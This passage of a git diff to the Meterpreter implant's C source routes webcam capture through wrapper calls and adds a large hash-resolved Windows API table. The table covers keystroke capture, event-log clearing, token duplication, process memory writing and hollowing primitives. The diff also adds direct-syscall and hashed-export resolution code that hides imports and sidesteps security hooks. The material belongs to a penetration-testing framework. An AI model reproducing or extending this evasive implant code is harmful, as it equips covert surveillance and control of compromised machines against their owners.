CoCreateInstance(CLSID_CaptureGraphBuilder2, + hr = met_api->win_api.ole32.CoCreateInstance(CLSID_CaptureGraphBuilder2, NULL, CLSCTX_INPROC, IID_ICaptureGraphBuilder2, @@ -262,7 +262,7 @@ DWORD webcam_start(WebcamThreadState* state) } // Create a SampleGrabber - hr = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&state->pIBaseFilterSampleGrabber); + hr = met_api->win_api.ole32.CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&state->pIBaseFilterSampleGrabber); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Create sample grabber failed", hr); } @@ -300,7 +300,7 @@ DWORD webcam_start(WebcamThreadState* state) } // Create the NullRender - hr = CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&state->pIBaseFilterNullRenderer); + hr = met_api->win_api.ole32.CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&state->pIBaseFilterNullRenderer); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Create the NullRender failed", hr); } @@ -348,7 +348,7 @@ DWORD webcam_start(WebcamThreadState* state) } //Sync: set up semaphore - writeEvent = CreateEvent( + writeEvent = met_api->win_api.kernel32.CreateEventA( NULL, // default security attributes FALSE, // auto-reset event FALSE, // initial state is nonsignaled @@ -371,11 +371,11 @@ DWORD webcam_start(WebcamThreadState* state) } //Now we wait for first frame - if (WaitForSingleObject(writeEvent, 30000) == WAIT_TIMEOUT) { + if (met_api->win_api.kernel32.WaitForSingleObject(writeEvent, 30000) == WAIT_TIMEOUT) { BREAK_WITH_ERROR("[WEBCAM] timeout!", WAIT_TIMEOUT); } - dwResult = GetLastError(); + dwResult = met_api->win_api.kernel32.GetLastError(); } while (0); return dwResult; @@ -464,7 +464,7 @@ DWORD THREADCALL webcam_control_thread(THREAD * thread) dprintf("[WEBCAM] Entry."); state->bRunning = TRUE; - CoInitialize(NULL); + met_api->win_api.ole32.CoInitialize(NULL); do { @@ -539,7 +539,7 @@ DWORD THREADCALL webcam_control_thread(THREAD * thread) state->pGraphBuilder = NULL; } - CoUninitialize(); + met_api->win_api.ole32.CoUninitialize(); state->dwResult = dwResult; @@ -569,8 +569,8 @@ extern "C" { IEnumMoniker* pclassEnum = NULL; ICreateDevEnum* pdevEnum = NULL; - CoInitialize(NULL); - HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, + met_api->win_api.ole32.CoInitialize(NULL); + HRESULT hr = met_api->win_api.ole32.CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC, IID_ICreateDevEnum, @@ -599,7 +599,7 @@ extern "C" { if (SUCCEEDED(hr)) { // To retrieve the filter's friendly name, do the following: VARIANT varName; - VariantInit(&varName); + met_api->win_api.oleaut32.VariantInit(&varName); hr = pPropBag->Read(L"FriendlyName", &varName, 0); if (SUCCEEDED(hr) && varName.vt == VT_BSTR) { @@ -611,7 +611,7 @@ extern "C" { met_api->packet.add_tlv_string(response, TLV_TYPE_WEBCAM_NAME, charbuf); } - VariantClear(&varName); + met_api->win_api.oleaut32.VariantClear(&varName); pPropBag->Release(); nCount++; @@ -621,11 +621,11 @@ extern "C" { pclassEnum->Release(); } while (0); - dwResult = GetLastError(); + dwResult = met_api->win_api.kernel32.GetLastError(); met_api->packet.transmit_response(dwResult, remote, response); - CoUninitialize(); + met_api->win_api.ole32.CoUninitialize(); return dwResult; } diff --git a/c/meterpreter/source/metsrv/metapi.c b/c/meterpreter/source/metsrv/metapi.c index 3f2068c0d..d11619318 100644 --- a/c/meterpreter/source/metsrv/metapi.c +++ b/c/meterpreter/source/metsrv/metapi.c @@ -160,6 +160,7 @@ MetApi api_instance = { winapi_ntdll_ZwAllocateVirtualMemory, winapi_ntdll_ZwOpenProcess, winapi_ntdll_ZwWriteVirtualMemory, + winapi_ntdll_ZwFlushInstructionCache, winapi_ntdll_ZwReadVirtualMemory, winapi_ntdll_ZwProtectVirtualMemory, winapi_ntdll_ZwQueryVirtualMemory, @@ -167,6 +168,7 @@ MetApi api_instance = { winapi_ntdll_ZwQueueApcThread, winapi_ntdll_ZwOpenThread, winapi_ntdll_RtlGetVersion, + winapi_ntdll_RtlNtStatusToDosError, winapi_ntdll_ZwQueryInformationProcess, winapi_ntdll_ZwQueryObject, winapi_ntdll_ZwQueryInformationWorkerFactory, @@ -179,7 +181,8 @@ MetApi api_instance = { winapi_ntdll_ZwOpenFile, winapi_ntdll_ZwQueryAttributesFile, winapi_ntdll_ZwClose, - winapi_ntdll_ZwLockVirtualMemory + winapi_ntdll_ZwLockVirtualMemory, + winapi_ntdll_ZwUnmapViewOfSection }, // kernel32 { @@ -245,7 +248,79 @@ MetApi api_instance = { winapi_kernel32_CreateMutexA, winapi_kernel32_CreateMutexW, winapi_kernel32_TerminateThread, - winapi_kernel32_lstrcmpW + winapi_kernel32_lstrcmpW, + winapi_kernel32_GetLastError, + winapi_kernel32_CopyFileW, + winapi_kernel32_CreateDirectoryW, + winapi_kernel32_DeleteFileA, + winapi_kernel32_DeleteFileW, + winapi_kernel32_DisconnectNamedPipe, + winapi_kernel32_ExpandEnvironmentStringsA, + winapi_kernel32_ExpandEnvironmentStringsW, + winapi_kernel32_FileTimeToSystemTime, + winapi_kernel32_FindClose, + winapi_kernel32_FindFirstFileW, + winapi_kernel32_FindNextFileW, + winapi_kernel32_FindResourceA, + winapi_kernel32_GetCurrentDirectoryW, + winapi_kernel32_GetCurrentProcessId, + winapi_kernel32_GetDateFormatW, + winapi_kernel32_GetDiskFreeSpaceExA, + winapi_kernel32_GetDriveTypeA, + winapi_kernel32_GetDriveTypeW, + winapi_kernel32_GetExitCodeThread, + winapi_kernel32_GetFileAttributesA, + winapi_kernel32_GetFileAttributesExW, + winapi_kernel32_GetFileAttributesW, + winapi_kernel32_GetHandleInformation, + winapi_kernel32_GetLogicalDriveStringsA, + winapi_kernel32_GetLogicalDrives, + winapi_kernel32_GetProcAddress, + winapi_kernel32_GetSystemDefaultLCID, + winapi_kernel32_GetTickCount, + winapi_kernel32_GetTimeFormatW, + winapi_kernel32_GetVersionExA, + winapi_kernel32_LoadResource, + winapi_kernel32_LockResource, + winapi_kernel32_OutputDebugStringW, + winapi_kernel32_MoveFileW, + winapi_kernel32_RemoveDirectoryW, + winapi_kernel32_SetCurrentDirectoryW, + winapi_kernel32_SetFileAttributesW, + winapi_kernel32_SetLastError, + winapi_kernel32_SizeofResource, + winapi_kernel32_lstrcmpiW, + winapi_kernel32_lstrcpyW, + winapi_kernel32_lstrlenA, + winapi_kernel32_lstrlenW, + winapi_kernel32_InterlockedExchangePointer, + winapi_kernel32_FormatMessageA, + winapi_kernel32_CreatePipe, + winapi_kernel32_CreateProcessW, + winapi_kernel32_GetComputerNameA, + winapi_kernel32_GetCurrentProcess, + winapi_kernel32_GetCurrentThread, + winapi_kernel32_GetEnvironmentVariableW, + winapi_kernel32_GetLocalTime, + winapi_kernel32_GetLocaleInfoA, + winapi_kernel32_GetThreadContext, + winapi_kernel32_GetTimeZoneInformation, + winapi_kernel32_SetThreadContext, + winapi_kernel32_TerminateProcess, + winapi_kernel32_VirtualLock, + winapi_kernel32_VirtualUnlock, + winapi_kernel32_WaitForSingleObjectEx, + winapi_kernel32_Process32FirstW, + winapi_kernel32_Process32NextW, + winapi_kernel32_GetNativeSystemInfo, + winapi_kernel32_QueryFullProcessImageNameW, + winapi_kernel32_InitializeProcThreadAttributeList, + winapi_kernel32_UpdateProcThreadAttribute, + winapi_kernel32_GetSystemDefaultLangID, + winapi_kernel32_WTSGetActiveConsoleSessionId, + winapi_kernel32_GetLoadLibraryAExportAddress, + winapi_kernel32_GetProcAddressExportAddress, + winapi_kernel32_GetFreeLibraryExportAddress }, // advapi32 { @@ -270,7 +345,39 @@ MetApi api_instance = { winapi_advapi32_LookupPrivilegeValueW, winapi_advapi32_CryptAcquireContextA, winapi_advapi32_CryptAcquireContextW, - winapi_advapi32_AddMandatoryAce + winapi_advapi32_AddMandatoryAce, + winapi_advapi32_CryptCreateHash, + winapi_advapi32_CryptDestroyHash, + winapi_advapi32_CryptGetHashParam, + winapi_advapi32_CryptHashData, + winapi_advapi32_RevertToSelf, + winapi_advapi32_ClearEventLogA, + winapi_advapi32_CloseEventLog, + winapi_advapi32_ConvertSidToStringSidA, + winapi_advapi32_CreateProcessAsUserW, + winapi_advapi32_DuplicateTokenEx, + winapi_advapi32_GetNumberOfEventLogRecords, + winapi_advapi32_GetOldestEventLogRecord, + winapi_advapi32_GetTokenInformation, + winapi_advapi32_LookupAccountSidW, + winapi_advapi32_LookupPrivilegeValueA, + winapi_advapi32_OpenEventLogA, + winapi_advapi32_ReadEventLogA, + winapi_advapi32_RegCloseKey, + winapi_advapi32_RegConnectRegistryW, + winapi_advapi32_RegCreateKeyExW, + winapi_advapi32_RegDeleteKeyW, + winapi_advapi32_RegDeleteValueW, + winapi_advapi32_RegEnumKeyW, + winapi_advapi32_RegEnumValueW, + winapi_advapi32_RegLoadKeyW, + winapi_advapi32_RegOpenKeyExW, + winapi_advapi32_RegQueryInfoKeyA, + winapi_advapi32_RegQueryInfoKeyW, + winapi_advapi32_RegQueryValueExW, + winapi_advapi32_RegSetValueExW, + winapi_advapi32_RegUnLoadKeyW, + winapi_advapi32_CreateProcessWithTokenW }, // crypt32 { @@ -284,7 +391,41 @@ MetApi api_instance = { { winapi_user32_GetUserObjectInformationA, winapi_user32_GetThreadDesktop, - winapi_user32_GetProcessWindowStation + winapi_user32_GetProcessWindowStation, + winapi_user32_CloseDesktop, + winapi_user32_CloseWindowStation, + winapi_user32_CreateWindowExA, + winapi_user32_DefWindowProcA, + winapi_user32_DestroyWindow, + winapi_user32_DispatchMessageA, + winapi_user32_EnumChildWindows, + winapi_user32_EnumDesktopsA, + winapi_user32_EnumWindowStationsA, + winapi_user32_ExitWindowsEx, + winapi_user32_GetAsyncKeyState, + winapi_user32_GetForegroundWindow, + winapi_user32_GetKeyboardState, + winapi_user32_GetKeyNameTextW, + winapi_user32_GetKeyState, + winapi_user32_GetMessageA, + winapi_user32_GetSystemMetrics, + winapi_user32_GetWindowThreadProcessId, + winapi_user32_MapVirtualKeyA, + winapi_user32_OpenDesktopA, + winapi_user32_OpenWindowStationA, + winapi_user32_RegisterClassExA, + winapi_user32_SendInput, + winapi_user32_SendMessageA, + winapi_user32_SetProcessWindowStation, + winapi_user32_SetThreadDesktop, + winapi_user32_SwitchDesktop, + winapi_user32_ToUnicodeEx, + winapi_user32_TranslateMessage, + winapi_user32_UnregisterClassA, + winapi_user32_wsprintfW, + winapi_user32_GetLastInputInfo, + winapi_user32_GetRawInputData, + winapi_user32_RegisterRawInputDevices }, // ws2_32 { @@ -308,7 +449,18 @@ MetApi api_instance = { winapi_ws2_32_ntohl, winapi_ws2_32_inet_addr, winapi_ws2_32_WSAGetLastError, - winapi_ws2_32_inet_ntoa + winapi_ws2_32_inet_ntoa, + winapi_ws2_32_getsockname, + winapi_ws2_32_ntohs, + winapi_ws2_32_recvfrom, + winapi_ws2_32_sendto, + winapi_ws2_32_shutdown, + winapi_ws2_32_WSAAddressToStringA, + winapi_ws2_32_WSACleanup, + winapi_ws2_32_WSACreateEvent, + winapi_ws2_32_WSAEventSelect, + winapi_ws2_32_WSASetLastError, + winapi_ws2_32_WSASocketA }, // wininet { @@ -343,6 +495,85 @@ MetApi api_instance = { winapi_winhttp_WinHttpCrackUrl, winapi_winhttp_WinHttpCloseHandle, winapi_winhttp_WinHttpWriteData + }, + // iphlpapi + { + winapi_iphlpapi_CreateIpForwardEntry, + winapi_iphlpapi_DeleteIpForwardEntry, + winapi_iphlpapi_GetIfEntry, + winapi_iphlpapi_GetIpAddrTable, + winapi_iphlpapi_GetIpForwardTable, + winapi_iphlpapi_GetIpInterfaceEntry, + winapi_iphlpapi_GetIpNetTable, + winapi_iphlpapi_GetTcpTable, + winapi_iphlpapi_GetUdpTable, + winapi_iphlpapi_GetAdaptersAddresses, + winapi_iphlpapi_GetExtendedTcpTable, + winapi_iphlpapi_GetExtendedUdpTable, + winapi_iphlpapi_FreeMibTable, + winapi_iphlpapi_GetIpForwardTable2, + winapi_iphlpapi_GetBestInterface + }, + // mpr + { + winapi_mpr_WNetGetUniversalNameA + }, + // ole32 + { + winapi_ole32_CoCreateInstance, + winapi_ole32_CoInitialize, + winapi_ole32_CoUninitialize + }, + // oleaut32 + { + winapi_oleaut32_VariantClear, + winapi_oleaut32_VariantInit + }, + // winmm + { + winapi_winmm_sndPlaySoundA, + winapi_winmm_waveInAddBuffer, + winapi_winmm_waveInOpen, + winapi_winmm_waveInPrepareHeader, + winapi_winmm_waveInStart, + winapi_winmm_waveInStop + }, + // netapi32 + { + winapi_netapi32_NetApiBufferFree, + winapi_netapi32_NetWkstaGetInfo + }, + // psapi + { + winapi_psapi_EnumDeviceDrivers, + winapi_psapi_GetDeviceDriverBaseNameW, + winapi_psapi_GetDeviceDriverFileNameW, + winapi_psapi_EnumProcesses, + winapi_psapi_EnumProcessModules, + winapi_psapi_GetModuleBaseNameA, + winapi_psapi_GetModuleBaseNameW, + winapi_psapi_GetModuleFileNameExA, + winapi_psapi_GetModuleFileNameExW, + winapi_psapi_GetProcessImageFileNameW + }, + // shlwapi + { + winapi_shlwapi_SHDeleteKeyW + }, + // userenv + { + winapi_userenv_CreateEnvironmentBlock, + winapi_userenv_DestroyEnvironmentBlock + }, + // wtsapi32 + { + winapi_wtsapi32_WTSQueryUserToken + }, + // query + { + winapi_query_LocateCatalogsW, + winapi_query_CIMakeICommand, + winapi_query_CITextToFullTree } }, #ifdef DEBUGTRACE diff --git a/c/meterpreter/source/metsrv/winapi.c b/c/meterpreter/source/metsrv/winapi.c index 501db4295..4ef4f5a51 100644 --- a/c/meterpreter/source/metsrv/winapi.c +++ b/c/meterpreter/source/metsrv/winapi.c @@ -5,6 +5,8 @@ #include "../ReflectiveDLLInjection/dll/src/DirectSyscall.h" #include "common.h" +#include + #define KERNEL32_DLL "kernel32.dll" #define NTDLL_DLL "ntdll.dll" #define ADVAPI32_DLL "advapi32.dll" @@ -14,6 +16,21 @@ #define RPCRT4_DLL "rpcrt4.dll" #define WINHTTP_DLL "winhttp.dll" #define WININET_DLL "wininet.dll" +#define IPHLPAPI_DLL "iphlpapi.dll" +#define MPR_DLL "mpr.dll" +#define NETAPI32_DLL "netapi32.dll" +#define OLE32_DLL "ole32.dll" +#define OLEAUT32_DLL "oleaut32.dll" +#define PSAPI_DLL "psapi.dll" +#define QUERY_DLL "query.dll" +#define SHLWAPI_DLL "shlwapi.dll" +#define USERENV_DLL "userenv.dll" +#define WINMM_DLL "winmm.dll" +#define WTSAPI32_DLL "wtsapi32.dll" + +#ifndef OBJ_INHERIT +#define OBJ_INHERIT 0x00000002L +#endif typedef struct NtDllFunction { LPCSTR lpFunctionName; @@ -26,6 +43,7 @@ enum NtDllSyscall { ZwAllocateVirtualMemory, ZwOpenProcess, ZwWriteVirtualMemory, + ZwFlushInstructionCache, ZwReadVirtualMemory, ZwProtectVirtualMemory, ZwQueryVirtualMemory, @@ -41,7 +59,8 @@ enum NtDllSyscall { ZwOpenFile, ZwQueryAttributesFile, ZwClose, - ZwLockVirtualMemory + ZwLockVirtualMemory, + ZwUnmapViewOfSection }; @@ -49,6 +68,7 @@ NtDllFunction lpFunctionsTobeLoaded[] = { {.lpFunctionName = NULL /* ZwAllocateVirtualMemory */, .dwNumberOfArgs = 6, .dwCryptedHash = H_ZwAllocateVirtualMemory}, {.lpFunctionName = NULL /* ZwOpenProcess */, .dwNumberOfArgs = 4, .dwCryptedHash = H_ZwOpenProcess}, {.lpFunctionName = NULL /* ZwWriteVirtualMemory */, .dwNumberOfArgs = 5, .dwCryptedHash = H_ZwWriteVirtualMemory}, + {.lpFunctionName = NULL /* ZwFlushInstructionCache */, .dwNumberOfArgs = 3, .dwCryptedHash = H_ZwFlushInstructionCache}, {.lpFunctionName = NULL /* ZwReadVirtualMemory */, .dwNumberOfArgs = 5, .dwCryptedHash = H_ZwReadVirtualMemory}, {.lpFunctionName = NULL /* ZwProtectVirtualMemory */, .dwNumberOfArgs = 5, .dwCryptedHash = H_ZwProtectVirtualMemory}, {.lpFunctionName = NULL /* ZwQueryVirtualMemory */, .dwNumberOfArgs = 6, .dwCryptedHash = H_ZwQueryVirtualMemory}, @@ -64,10 +84,11 @@ NtDllFunction lpFunctionsTobeLoaded[] = { {.lpFunctionName = NULL /* ZwOpenFile */, .dwNumberOfArgs = 6, .dwCryptedHash = H_ZwOpenFile}, {.lpFunctionName = NULL /* ZwQueryAttributesFile */, .dwNumberOfArgs = 2, .dwCryptedHash = H_ZwQueryAttributesFile}, {.lpFunctionName = NULL /* ZwClose */, .dwNumberOfArgs = 1, .dwCryptedHash = H_ZwClose}, - {.lpFunctionName = NULL /* ZwLockVirtualMemory */, .dwNumberOfArgs = 4, .dwCryptedHash = H_ZwLockVirtualMemory},}; + {.lpFunctionName = NULL /* ZwLockVirtualMemory */, .dwNumberOfArgs = 4, .dwCryptedHash = H_ZwLockVirtualMemory}, + {.lpFunctionName = NULL /* ZwUnmapViewOfSection */, .dwNumberOfArgs = 2, .dwCryptedHash = H_ZwUnmapViewOfSection},}; #define STATUS_SUCCESS 0 -Syscall** lpWinApiSyscalls = NULL; +Syscall** volatile lpWinApiSyscalls = NULL; extern NTSTATUS SyscallStub(Syscall *pSyscall, DWORD dwNumberOfArgs, ULONG_PTR *lpArgs); @@ -86,55 +107,70 @@ DWORD GetWindowsMajorMinVer() { } Syscall** GetOrInitWinApiSyscalls() { - if (lpWinApiSyscalls == NULL) { - BOOL bError = FALSE; - HANDLE hHeap = GetProcessHeap(); - bError = hHeap == NULL; - DWORD dwNumbOfSyscalls = sizeof(lpFunctionsTobeLoaded) / sizeof(NtDllFunction); - Syscall* lpSyscall = NULL; - if (!bError) { - lpWinApiSyscalls = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(Syscall*) * dwNumbOfSyscalls); - dprintf("[WINAPI][GetOrInitWinApiSyscalls] lpWinApiSyscalls = %p", lpWinApiSyscalls); - bError = lpWinApiSyscalls == NULL; + Syscall** initializedSyscalls = lpWinApiSyscalls; + if (initializedSyscalls != NULL) { + return initializedSyscalls; + } + + BOOL bError = FALSE; + HANDLE hHeap = GetProcessHeap(); + DWORD dwNumbOfSyscalls = sizeof(lpFunctionsTobeLoaded) / sizeof(NtDllFunction); + Syscall** candidateSyscalls = NULL; + Syscall* lpSyscall = NULL; + + bError = hHeap == NULL; + if (!bError) { + candidateSyscalls = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(Syscall*) * dwNumbOfSyscalls); + dprintf("[WINAPI][GetOrInitWinApiSyscalls] candidateSyscalls = %p", candidateSyscalls); + bError = candidateSyscalls == NULL; + } + + if (!bError) { + for (DWORD i = 0; i < dwNumbOfSyscalls; i++) { + lpSyscall = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(Syscall)); + bError = lpSyscall == NULL; + if (bError) { + break; + } + if (lpFunctionsTobeLoaded[i].lpFunctionName != NULL) { + lpSyscall->dwCryptedHash = _hash((char*)lpFunctionsTobeLoaded[i].lpFunctionName); + } else { + lpSyscall->dwCryptedHash = lpFunctionsTobeLoaded[i].dwCryptedHash; + } + lpSyscall->dwNumberOfArgs = lpFunctionsTobeLoaded[i].dwNumberOfArgs; + candidateSyscalls[i] = lpSyscall; + dprintf("[WINAPI][GetOrInitWinApiSyscalls] lpSyscall = %p; dwCryptedHash = %p", lpSyscall, lpSyscall->dwCryptedHash); } + } + + if (!bError) { + bError = !getSyscalls(GetModuleHandleA(NTDLL_DLL), candidateSyscalls, dwNumbOfSyscalls); if (!bError) { for (DWORD i = 0; i < dwNumbOfSyscalls; i++) { - lpSyscall = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, sizeof(Syscall)); - bError = lpSyscall == NULL; - if (bError) { - break; - } - if(lpFunctionsTobeLoaded[i].lpFunctionName != NULL) { - lpSyscall->dwCryptedHash = _hash((char*)lpFunctionsTobeLoaded[i].lpFunctionName); - } else { - lpSyscall->dwCryptedHash = lpFunctionsTobeLoaded[i].dwCryptedHash; - } - lpSyscall->dwNumberOfArgs = lpFunctionsTobeLoaded[i].dwNumberOfArgs; - lpWinApiSyscalls[i] = lpSyscall; - dprintf("[WINAPI][GetOrInitWinApiSyscalls] lpSyscall = %p; dwCryptedHash = %p", lpSyscall, lpSyscall->dwCryptedHash); + dprintf("[WINAPI][GetOrInitWinApiSyscalls] Index: %d pStub: %p, dwSyscallNr: %d", i, candidateSyscalls[i]->pStub, candidateSyscalls[i]->dwSyscallNr); } } - if (!bError) { - bError = !getSyscalls(GetModuleHandleA(NTDLL_DLL), lpWinApiSyscalls, dwNumbOfSyscalls); - if (!bError) { - for (DWORD i = 0; i < dwNumbOfSyscalls; i++) { - dprintf("[WINAPI][GetOrInitWinApiSyscalls] Index: %d pStub: %p, dwSyscallNr: %d", i, lpWinApiSyscalls[i]->pStub, lpWinApiSyscalls[i]->dwSyscallNr); - } - } + } + + if (!bError) { + initializedSyscalls = (Syscall**)InterlockedCompareExchangePointer( + (PVOID volatile*)&lpWinApiSyscalls, + candidateSyscalls, + NULL); + if (initializedSyscalls == NULL) { + return candidateSyscalls; } - if (bError) { - dprintf("[WINAPI][GetOrInitWinApiSyscalls] Error creating Syscall structure."); - if (lpWinApiSyscalls != NULL) { - for (DWORD i = 0; i < dwNumbOfSyscalls; i++) { - lpSyscall = lpWinApiSyscalls[i]; - if (lpSyscall != NULL) { - HeapFree(hHeap, 0, lpSyscall); - } - } - HeapFree(hHeap, 0, lpWinApiSyscalls); - lpWinApiSyscalls = NULL; + } else { + dprintf("[WINAPI][GetOrInitWinApiSyscalls] Error creating Syscall structure."); + } + + if (candidateSyscalls != NULL) { + for (DWORD i = 0; i < dwNumbOfSyscalls; i++) { + if (candidateSyscalls[i] != NULL) { + HeapFree(hHeap, 0, candidateSyscalls[i]); } } + HeapFree(hHeap, 0, candidateSyscalls); } return lpWinApiSyscalls; @@ -144,7 +180,7 @@ BOOL hasDirectSyscallSupport() { DWORD dwVersion = GetWindowsMajorMinVer(); DWORD dwMajor = (dwVersion & 0xff00) >> 8; DWORD dwMinor = dwVersion & 0xff; - if(dwVersion != 0 && (dwMajor >= 6 && dwMinor >= 1)) { + if(dwVersion != 0 && (dwMajor > 6 || (dwMajor == 6 && dwMinor >= 1))) { if(lpWinApiSyscalls == NULL) { GetOrInitWinApiSyscalls(); } @@ -159,7 +195,33 @@ BOOL hasDirectSyscallSupport() { #pragma warning(disable : 5045) // warning C5045: Compiler will insert Spectre mitigation for memory load if /Qspectre switch specified #endif -FARPROC WINAPI GetProcAddressH(HANDLE hModule, DWORD dwFunctionHash) +static HMODULE GetRetainedModule(LPCSTR moduleName) +{ + // Every caller stores an export in a process-lifetime cache. Keep the + // LoadLibrary reference for the same lifetime so the cached pointer can + // never outlive its module. Repeated calls only increment the loader's + // reference count; they do not reinitialise an already loaded module. + return LoadLibraryA(moduleName); +} + +static BOOL RetainResolvedFunctionModule(FARPROC function) +{ + HMODULE functionModule = NULL; + + if (function == NULL) { + return FALSE; + } + + // Native GetProcAddress can resolve a forwarded export into a different + // physical module. Retain that final module as well as the source module. + // The reference is intentionally held for the process-lifetime cache. + return GetModuleHandleExA( + GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, + (LPCSTR)function, + &functionModule); +} + +static FARPROC GetProcAddressHInternal(HANDLE hModule, DWORD dwFunctionHash, BOOL retainResolvedModule) { if (!hModule) return NULL; @@ -202,6 +264,18 @@ FARPROC WINAPI GetProcAddressH(HANDLE hModule, DWORD dwFunctionHash) // Perform a case-sensitive string comparison to find a match. if (_hash((char *)cpExportedFunctionName) == dwFunctionHash) { + if (retainResolvedModule) { + FARPROC function = GetProcAddress((HMODULE)hModule, cpExportedFunctionName); + + // Let the Windows loader handle named/ordinal forwarders and + // API-set host mapping, then retain the module that owns the + // final callable address. + if (!RetainResolvedFunctionModule(function)) { + return NULL; + } + return function; + } + // Match found. The index 'i' is the key to link the three arrays. // Use 'i' to get the function's ordinal from the name ordinals array. WORD wFunctionOrdinal = pwNameOrdinals[i]; @@ -243,7 +317,7 @@ FARPROC WINAPI GetProcAddressH(HANDLE hModule, DWORD dwFunctionHash) } // Resolve by re-hashing the target function name (everything after '.'). DWORD dwFwdHash = _hash((char *)(cpForwarder + dwDot + 1)); - return GetProcAddressH(hFwdModule, dwFwdHash); + return GetProcAddressHInternal(hFwdModule, dwFwdHash, FALSE); } // Return the absolute address of the function. @@ -255,6 +329,11 @@ FARPROC WINAPI GetProcAddressH(HANDLE hModule, DWORD dwFunctionHash) return NULL; } +FARPROC WINAPI GetProcAddressH(HANDLE hModule, DWORD dwFunctionHash) +{ + return GetProcAddressHInternal(hModule, dwFunctionHash, FALSE); +} + void* GetFunctionH(LPCSTR lpModuleName, DWORD dwFunctionHash) { HMODULE hModule = NULL; FARPROC lpOutput = NULL; @@ -274,6 +353,121 @@ void* GetFunctionH(LPCSTR lpModuleName, DWORD dwFunctionHash) { return lpOutput; } +static FARPROC GetFunctionHRetained(LPCSTR moduleName, DWORD functionHash) { + HMODULE module = GetRetainedModule(moduleName); + FARPROC function = NULL; + + if (module != NULL) { + function = GetProcAddressHInternal(module, functionHash, TRUE); + } + if (module == NULL) { + dprintf("[WINAPI][GetFunctionHRetained] Unable to find or load '%s' module.", moduleName); + } + if (function == NULL) { + dprintf("[WINAPI][GetFunctionHRetained] Unable to find function's address (Hash: %p).", functionHash); + } + return function; +} + +enum WinApiFunctionCacheState { + WinApiFunctionCacheEmpty = 0, + WinApiFunctionCacheResolving, + WinApiFunctionCacheReady +}; + +DECLSPEC_NOINLINE FARPROC GetFunctionHCached(WinApiFunctionCache* cache, LPCSTR moduleName, DWORD functionHash) { + DWORD lastError; + FARPROC function = NULL; + LONG state; + + if (cache == NULL) { + return NULL; + } + + // The steady-state path consists only of an interlocked read and a pointer + // load. Neither operation changes the thread's last-error value. + state = InterlockedCompareExchange( + &cache->state, + WinApiFunctionCacheReady, + WinApiFunctionCacheReady); + if (state == WinApiFunctionCacheReady) { + return cache->function; + } + + lastError = GetLastError(); + state = InterlockedCompareExchange( + &cache->state, + WinApiFunctionCacheResolving, + WinApiFunctionCacheEmpty); + + if (state == WinApiFunctionCacheEmpty) { + function = GetFunctionHRetained(moduleName, functionHash); + cache->function = function; + + // Publish both successful and failed export lookups. A NULL result is + // intentionally permanent for the lifetime of this cache. + InterlockedExchange(&cache->state, WinApiFunctionCacheReady); + } else if (state == WinApiFunctionCacheReady) { + function = cache->function; + } else { + // Never wait for a resolver that may be blocked in loader code or may + // have terminated. The winner alone publishes to the cache; a loser + // performs an independent lookup for this call. + function = GetFunctionHRetained(moduleName, functionHash); + } + + // Module loading and export parsing are implementation details of the + // wrapper and must not alter the error observed by its caller. + SetLastError(lastError); + return function; +} + +#ifdef DEBUGTRACE +#define WINAPI_CACHE_DPRINTF(...) do { \ + DWORD winApiCacheLastError = GetLastError(); \ + dprintf(__VA_ARGS__); \ + SetLastError(winApiCacheLastError); \ +} while (0) +#else +#define WINAPI_CACHE_DPRINTF(...) do { } while (0) +#endif + +// Hash-resolved WinApi entries use these macros so that every ordinary wrapper +// has the same one-time cache, native calling convention, logging, and failure +// path. +// The exported MetApi function itself intentionally retains the C calling +// convention used by the existing cross-module table. +#define DEFINE_CACHED_WINAPI_WRAPPER(returnType, wrapperName, nativeConvention, moduleName, functionHash, parameters, arguments, failureValue) \ + returnType wrapperName parameters { \ + typedef returnType (nativeConvention *NativeFunction) parameters; \ + static WinApiFunctionCache cache = WINAPI_FUNCTION_CACHE_INIT; \ + NativeFunction function = (NativeFunction)GetFunctionHCached(&cache, moduleName, functionHash); \ + WINAPI_CACHE_DPRINTF("[WINAPI][%s] Calling export @ %p", #wrapperName, function); \ + if (function) { \ + return function arguments; \ + } \ + return (failureValue); \ + } + +#define DEFINE_CACHED_WINAPI_VOID_WRAPPER(wrapperName, nativeConvention, moduleName, functionHash, parameters, arguments) \ + VOID wrapperName parameters { \ + typedef VOID (nativeConvention *NativeFunction) parameters; \ + static WinApiFunctionCache cache = WINAPI_FUNCTION_CACHE_INIT; \ + NativeFunction function = (NativeFunction)GetFunctionHCached(&cache, moduleName, functionHash); \ + WINAPI_CACHE_DPRINTF("[WINAPI][%s] Calling export @ %p", #wrapperName, function); \ + if (function) { \ + function arguments; \ + } \ + } + +// Remote process stubs need the native system-export address, not the address +// of the MetApi wrapper. Keep those raw lookups centralized and lifetime-safe. +#define DEFINE_CACHED_WINAPI_ADDRESS_GETTER(wrapperName, moduleName, functionHash) \ + FARPROC wrapperName(VOID) { \ + static WinApiFunctionCache cache = WINAPI_FUNCTION_CACHE_INIT; \ + return GetFunctionHCached(&cache, moduleName, functionHash); \ + } + void* GetFunction(LPCSTR lpModuleName, LPCSTR lpFunctionName) { HMODULE hModule = NULL; FARPROC lpOutput = NULL; @@ -305,14 +499,28 @@ NTSTATUS winapi_ntdll_ZwOpenProcess(PHANDLE ProcessHandle, ACCESS_MASK DesiredAc return SyscallStub(lpWinApiSyscalls[ZwOpenProcess], sizeof(lpArgs) / sizeof(ULONG_PTR), (ULONG_PTR *)&lpArgs); } -NTSTATUS winapi_ntdll_ZwWriteVirtualMemory(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten) { +NTSTATUS 